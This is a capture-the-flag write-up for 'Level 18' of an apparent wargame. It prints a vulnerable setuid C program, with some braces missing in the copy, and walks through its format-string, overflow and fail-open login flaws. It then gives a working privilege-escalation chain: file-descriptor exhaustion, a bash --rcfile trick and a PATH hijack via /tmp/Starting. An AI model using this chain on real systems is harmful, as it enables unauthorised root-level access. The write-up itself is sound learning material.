In Level 18 we are given the code of a vulnerable program:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>

struct {  
  FILE *debugfile;
  int verbose;
  int loggedin;
} globals;

#define dprintf(...) if(globals.debugfile) \
  fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
  fprintf(globals.debugfile, __VA_ARGS__)

#define PWFILE "/home/flag18/password"

void login(char *pw)  
  FILE *fp;

  fp = fopen(PWFILE, "r");
  if(fp) {
    char file[64];

    if(fgets(file, sizeof(file) - 1, fp) == NULL) {
      dprintf("Unable to read password file %s\n", PWFILE);
    if(strcmp(pw, file) != 0) return;
  dprintf("logged in successfully (with%s password file)\n",
    fp == NULL ? "out" : "");

  globals.loggedin = 1;


void notsupported(char *what)  
  char *buffer = NULL;
  asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);

void setuser(char *user)  
  char msg[128];

  sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
  printf("%s\n", msg);


int main(int argc, char **argv, char **envp)  
  char c;

  while((c = getopt(argc, argv, "d:v")) != -1) {
    switch(c) {
      case 'd':
        globals.debugfile = fopen(optarg, "w+");
        if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
        setvbuf(globals.debugfile, NULL, _IONBF, 0);
      case 'v':

  dprintf("Starting up. Verbose level = %d\n", globals.verbose);

  setresgid(getegid(), getegid(), getegid());
  setresuid(geteuid(), geteuid(), geteuid());

  while(1) {
    char line[256];
    char *p, *q;

    q = fgets(line, sizeof(line)-1, stdin);
    if(q == NULL) break;
    p = strchr(line, '\n'); if(p) *p = 0;
    p = strchr(line, '\r'); if(p) *p = 0;

    dvprintf(2, "got [%s] as input\n", line);

    if(strncmp(line, "login", 5) == 0) {
      dvprintf(3, "attempting to login\n");
      login(line + 6);
    } else if(strncmp(line, "logout", 6) == 0) {
      globals.loggedin = 0;
    } else if(strncmp(line, "shell", 5) == 0) {
      dvprintf(3, "attempting to start shell\n");
      if(globals.loggedin) {
        execve("/bin/sh", argv, envp);
        err(1, "unable to execve");
      dprintf("Permission denied\n");
    } else if(strncmp(line, "logout", 4) == 0) {
      globals.loggedin = 0;
    } else if(strncmp(line, "closelog", 8) == 0) {
      if(globals.debugfile) fclose(globals.debugfile);
      globals.debugfile = NULL;
    } else if(strncmp(line, "site exec", 9) == 0) {
      notsupported(line + 10);
    } else if(strncmp(line, "setuser", 7) == 0) {
      setuser(line + 8);

  return 0;

After reading it and playing around with it here is the basic functionality:

When started, the program looks for two arguments:
-d file: to enable logging to the provided log file -v: to increase the verbosity level

Then the program starts and write the verbosity level to the debug file and sets the EUID privileges to the binary. The program starts accepting input at that time:

  • login : tries to log in the given user. The login function fails open, that means that if the password file cannot be read, then it logs in the user. We could try to remove the password file to force fopen to fail and return NULL file descriptor, but we cannot remove the file. The other way to make the fopen function call to fail it to exhaust the file descriptors so that there are no more to assign to the password file. This can be done since the login function never closes the file descriptor. This one way we will explore, lets keep on reading the program.

  • logout: just clear the globals.loggedin flag which is of no utility for us

  • shell: this looks pretty useful for us, it executes a new /bin/sh shell (note the absolute path, so we wont be able to fake it) and uses the same flag18 arguments as the shell arguments.

  • closelog: if flag18 was called with the -d option, it closes the log file descriptor and stops logging. This will be useful, but keep reading

  • site exec: calls the notsupported function where there is a format string vulnerability (dprintf(what)). But if we try to exploit it we get:

[email protected]:~$ /home/flag18/flag18 -v -d /tmp/log  
site exec %n  
* %n in writable segment detected *
  • Googling for it takes us to the Phrack magazine pointing out that the binary was compiled with FORTIFY_SOURCE that provides two countermeasures against format strings.

    • Format strings containing the %n specifier may not be located at a writeable address in the memory space of the application.
    • When using positional parameters, all arguments within the range must be consumed. So to use %7$x, you must also use 1,2,3,4,5 and 6.
  • We can verify it with

[email protected]:~$ ./ --fortify-file /home/flag18/flag18  
* FORTIFY_SOURCE support available (libc)    : Yes
* Binary compiled with FORTIFY_SOURCE support: Yes
  • So exploiting this path looks hard and requires skills I still dont have ;-)

  • setuser: calls the setuser function where our input line (up to 256 bytes) is stored in the msg buffer (128 bytes) so there is a clear buffer overflow but it looks like the binary is compiled with some protections in place:

 [email protected]:~$ echo "setuser `python -c 'print("A"*200)'`" | /home/flag18/flag18 -v -d /tmp/log
 *** buffer overflow detected ***: /home/flag18/flag18 terminated
 ======= Backtrace: =========
 ======= Memory map: ========
 002f2000-00468000 r-xp 00000000 08:01 69         /lib/i386-linux-gnu/
 00468000-0046a000 r--p 00176000 08:01 69         /lib/i386-linux-gnu/
 0046a000-0046b000 rw-p 00178000 08:01 69         /lib/i386-linux-gnu/
 0046b000-0046e000 rw-p 00000000 00:00 0
 00bd5000-00bf3000 r-xp 00000000 08:01 66         /lib/i386-linux-gnu/
 00bf3000-00bf4000 r--p 0001d000 08:01 66         /lib/i386-linux-gnu/
 00bf4000-00bf5000 rw-p 0001e000 08:01 66         /lib/i386-linux-gnu/
 00c99000-00cb5000 r-xp 00000000 08:01 91         /lib/i386-linux-gnu/
 00cb5000-00cb6000 r--p 0001b000 08:01 91         /lib/i386-linux-gnu/
 00cb6000-00cb7000 rw-p 0001c000 08:01 91         /lib/i386-linux-gnu/
 00cba000-00cbb000 r-xp 00000000 00:00 0          [vdso]
 08048000-0804a000 r-xp 00000000 08:01 132987     /home/flag18/flag18
 0804a000-0804b000 r--p 00001000 08:01 132987     /home/flag18/flag18
 0804b000-0804c000 rw-p 00002000 08:01 132987     /home/flag18/flag18
 0808c000-080ad000 rw-p 00000000 00:00 0          [heap]
 b771c000-b771d000 rw-p 00000000 00:00 0
 b7721000-b7724000 rw-p 00000000 00:00 0
 bf9b9000-bf9da000 rw-p 00000000 00:00 0          [stack]

Checking the binary protections shows little chance of success:

 [email protected]:~$ ./ --file ../flag18/flag18
 RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
 Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   ../flag18/flag18

So thats all, there are no more options and we need to take one of this exploitation techniques. I will choose the easy one (exhausting the file descriptors) as the other two are far beyond my current skills.

Exploiting the file logic flaw

Ok, so first we need to know how many file descriptors can be opened by a process:

[email protected]:~$ ulimit -a  
core file size          (blocks, -c) 0  
data seg size           (kbytes, -d) unlimited  
scheduling priority             (-e) 0  
file size               (blocks, -f) unlimited  
pending signals                 (-i) 1839  
max locked memory       (kbytes, -l) 64  
max memory size         (kbytes, -m) unlimited  
open files                      (-n) 1024  
pipe size            (512 bytes, -p) 8  
POSIX message queues     (bytes, -q) 819200  
real-time priority              (-r) 0  
stack size              (kbytes, -s) 8192  
cpu time               (seconds, -t) unlimited  
max user processes              (-u) 1839  
virtual memory          (kbytes, -v) unlimited  
file locks                      (-x) unlimited  

Nice 1024, so when the program starts it take 3 for the stdin, stdout and stderr, we need to take 1021 more fds before the fopen fails and we are logged in:

[email protected]:~$ echo "`python -c 'print("login me\n"*1021 + "shell")'`" | /home/flag18/flag18 -v -d /tmp/log  
/home/flag18/flag18: error while loading shared libraries: cannot open shared object file: Error 24

Opps, we take all of the fds so our shell is refusing to run because it cannot open Note than since we are running /bin/sh with the flag18 arguments (including binary name as arg 0) the error message looks like coming from flag18 when its actually coming from /bin/sh

Ok, remember that there was an option to close the log file and free its fd?? lets use it:

[email protected]:~$ echo "`python -c 'print("login me\n"*1021 + "closelog\n" + "shell")'`" | /home/flag18/flag18 -v -d /tmp/log  
/home/flag18/flag18: -d: invalid option
Usage:    /home/flag18/flag18 [GNU long option] [option] ...  
    /home/flag18/flag18 [GNU long option] [option] script-file ...
GNU long options:  
Shell options:  
    -irsD or -c command or -O shopt_option      (invocation only)
    -abefhkmnptuvxBCHP or -o option

Well, new problem arises, /bin/sh does not have any -d argument. I got stuck here so I looked for some help and was pointed to the bash man page and its --rcfile option:

The --rcfile file option will force Bash to read and execute commands from file instead of ~/.bashrc.

Ok, so there we go:

[email protected]:~$ echo "`python -c 'print("login me\n"*1021 + "closelog\n" + "shell")'`" | /home/flag18/flag18 --rcfile -d /tmp/log  
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'r'
/home/flag18/flag18: invalid option -- 'c'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
/tmp/log: line 1: Starting: command not found
/tmp/log: line 2: syntax error near unexpected token `('
/tmp/log: line 2: `logged in successfully (without password file)'

Ok, it worked!!! but our rc file is now the log file and so, its trying to execute its contents and thats why it fails executing Starting, all we need to do is create an executable called after Starting with our payload:

[email protected]:~$ echo "getflag" > /tmp/Starting  
[email protected]:~$ chmod +x /tmp/Starting  
[email protected]:~$ export PATH=/tmp:$PATH  
[email protected]:~$ echo "`python -c 'print("login me\n"*1021 + "closelog\n" + "shell")'`" | /home/flag18/flag18 --rcfile -d /tmp/log  
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'r'
/home/flag18/flag18: invalid option -- 'c'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
You have successfully executed getflag on a target account  
/tmp/log: line 2: syntax error near unexpected token `('
/tmp/log: line 2: `logged in successfully (without password file)'

Voila !!!

I google around for solutions to the format string and buffer overflow approaches and found these ones that I need to re-read when I grow up :D